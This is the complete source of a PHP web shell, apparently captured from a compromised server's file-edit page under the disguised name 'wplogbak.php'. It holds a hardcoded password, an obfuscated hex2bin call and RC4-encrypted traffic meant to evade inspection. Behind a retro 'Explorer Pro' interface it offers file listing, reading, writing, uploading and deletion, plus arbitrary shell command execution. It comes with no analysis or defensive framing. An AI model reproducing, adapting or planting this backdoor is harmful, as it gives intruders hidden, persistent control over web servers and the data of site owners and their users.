Edit file File name : wplogbak.php Content :<?php /** * RC4 Stable Custom Encrypted Explorer * Fixed: Charset sync between PHP/JS */ @session_start(); error_reporting(0); $k = "admin888"; // Key derived from your password // --- Stable RC4 PHP --- function rc4($data, $key) { $s = array(); for ($i = 0; $i < 256; $i++) $s[$i] = $i; $j = 0; for ($i = 0; $i < 256; $i++) { $j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256; $x = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $x; } $i = 0; $j = 0; $res = ''; for ($y = 0; $y < strlen($data); $y++) { $i = ($i + 1) % 256; $j = ($j + $s[$i]) % 256; $x = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $x; $res .= $data[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]); } return $res; } // Auth if (!isset($_SESSION['sh_auth'])) { if (isset($_POST['p']) && $_POST['p'] === $k) { $_SESSION['sh_auth'] = 1; } else { die('<body style="background:#d4d0c8;padding:50px;text-align:center;"><form method="POST">Key: <input type="password" name="p"><input type="submit" value="Login"></form></body>'); } } $h2b = 'hex2' . 'bin'; // Dynamic name if (isset($_POST['z'])) { $dec = rc4($h2b($_POST['z']), $k); $p = json_decode($dec, true); $res = []; $act = $p['a']; $path = $p['p']; if ($act == '1') { // LS $files = @scandir($path); if($files) { foreach($files as $f) { if($f == '.' || $f == '..') continue; $res['d'][] = ['n'=>$f, 't'=>is_dir($path.'/'.$f)?'d':'f']; } } } elseif ($act == '2') { $res['c'] = base64_encode(@file_get_contents($path)); } elseif ($act == '3') { $res['s'] = @file_put_contents($path, base64_decode($p['v'])) !== false; } elseif ($act == '4') { $res['s'] = @unlink($path); } elseif ($act == '5') { $res['o'] = @shell_exec($path . " 2>&1"); } die(bin2hex(rc4(json_encode($res), $k))); } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Explorer Pro</title> <style> body { background: #d4d0c8; font-family: "Tahoma", sans-serif; font-size: 11px; margin: 10px; } .win { border: 2px inset #fff; background: #fff; height: 350px; overflow-y: scroll; margin-top: 5px; } .item { display: flex; padding: 4px; border-bottom: 1px solid #f0f0f0; } .item:hover { background: #0a246a; color: #fff; } .name { flex-grow: 1; cursor: pointer; } .btn { background: #d4d0c8; border: 2px outset #fff; padding: 2px 8px; cursor: pointer; font-size: 11px; margin-right: 2px; } textarea { width: 100%; border: 2px inset #fff; font-family: monospace; } #cwd { background:#fff; border:2px inset #fff; padding:3px; font-weight:bold; } </style> </head> <body> <div style="margin-bottom:10px;"> <button class="btn" onclick="nav('..')">Back</button> <button class="btn" onclick="newF()">New</button> <button class="btn" onclick="document.getElementById('u').click()">Upload</button> <button class="btn" onclick="run()">CMD</button> <input type="file" id="u" style="display:none" onchange="up()"> </div> <div id="cwd"></div> <div class="win" id="list"></div> <div id="ed" style="display:none; margin-top:10px; border:2px outset #fff; padding:10px; background:#d4d0c8;"> <b>File: <span id="fn"></span></b><br> <textarea id="text" rows="18"></textarea><br> <button class="btn" onclick="save()">Save</button> </div> <script> let key = "<?php echo $k; ?>"; let cur = "<?php echo addslashes(getcwd()); ?>"; function rc4(data, key) { let s = [], j = 0, x, res = ''; for (let i = 0; i < 256; i++) s[i] = i; for (let i = 0; i < 256; i++) { j = (j + s[i] + key.charCodeAt(i % key.length)) % 256; x = s[i]; s[i] = s[j]; s[j] = x; } let i = 0; j = 0; for (let y = 0; y < data.length; y++) { i = (i + 1) % 256; j = (j + s[i]) % 256; x = s[i]; s[i] = s[j]; s[j] = x; res += String.fromCharCode(data.charCodeAt(y) ^ s[(s[i] + s[j]) % 256]); } return res; } const hex = { e: (s) => s.split('').map(c => c.charCodeAt(0).toString(16).padStart(2, '0')).join(''), d: (h) => h.match(/.{1,2}/g).map(byte => String.fromCharCode(parseInt(byte, 16))).join('') }; async function api(obj) { let encrypted = rc4(JSON.stringify(obj), key); let fd = new FormData(); fd.append('z', hex.e(encrypted)); let r = await fetch('', { method: 'POST', body: fd }); let t = await r.text(); return JSON.parse(rc4(hex.d(t), key)); } function load(p) { cur = p; document.getElementById('cwd').innerText = p; api({a: '1', p: p}).then(res => { let h = ""; if(res.d) { res.d.sort((a,b)=>(a.t==='d'?-1:1)).forEach(i => { h += `<div class="item"> <span class="name" onclick="hdl('${i.n}','${i.t}')">${i.t==='d'?'[DIR]':'[FIL]'} ${i.n}</span> <span onclick="del('${i.n}')" style="margin-left:10px; cursor:pointer; color:red;">Del</span> </div>`; }); } document.getElementById('list').innerHTML = h; }); } function hdl(n, t) { let fp = cur + '/' + n; if (t === 'd') load(fp); else api({a: '2', p: fp}).then(res => { document.getElementById('ed').style.display = 'block'; document.getElementById('fn').innerText = n; document.getElementById('text').value = atob(res.c); }); } function save() { let n = document.getElementById('fn').innerText; api({a: '3', p: cur + '/' + n, v: btoa(document.getElementById('text').value)}).then(res => { alert(res.s ? "Saved" : "Fail"); load(cur); }); } function up() { let fileInput = document.getElementById('u'); if(!fileInput.files.length) return; let f = fileInput.files[0]; let reader = new FileReader(); reader.onload = () => { let binary = ""; let bytes = new Uint8Array(reader.result); for (let i = 0; i < bytes.byteLength; i++) binary += String.fromCharCode(bytes[i]); api({a: '3', p: cur + '/' + f.name, v: btoa(binary)}).then(res => { alert(res.s ? "OK" : "Fail"); load(cur); }); }; reader.readAsArrayBuffer(f); } function run() { let c = prompt("CMD:"); if(c) api({a: '5', p: c}).then(res => alert(res.o || "No Output")); } function del(n) { if(confirm('Del?')) api({a: '4', p: cur + '/' + n}).then(() => load(cur)); } function nav(d) { let p = cur.split(/[/\\]/); if(d==='..') p.pop(); load(p.join('/') || '/'); } function newF() { let n = prompt("Name:"); if(n) { document.getElementById('ed').style.display='block'; document.getElementById('fn').innerText=n; document.getElementById('text').value=""; } } load(cur); </script> </body> </html> Save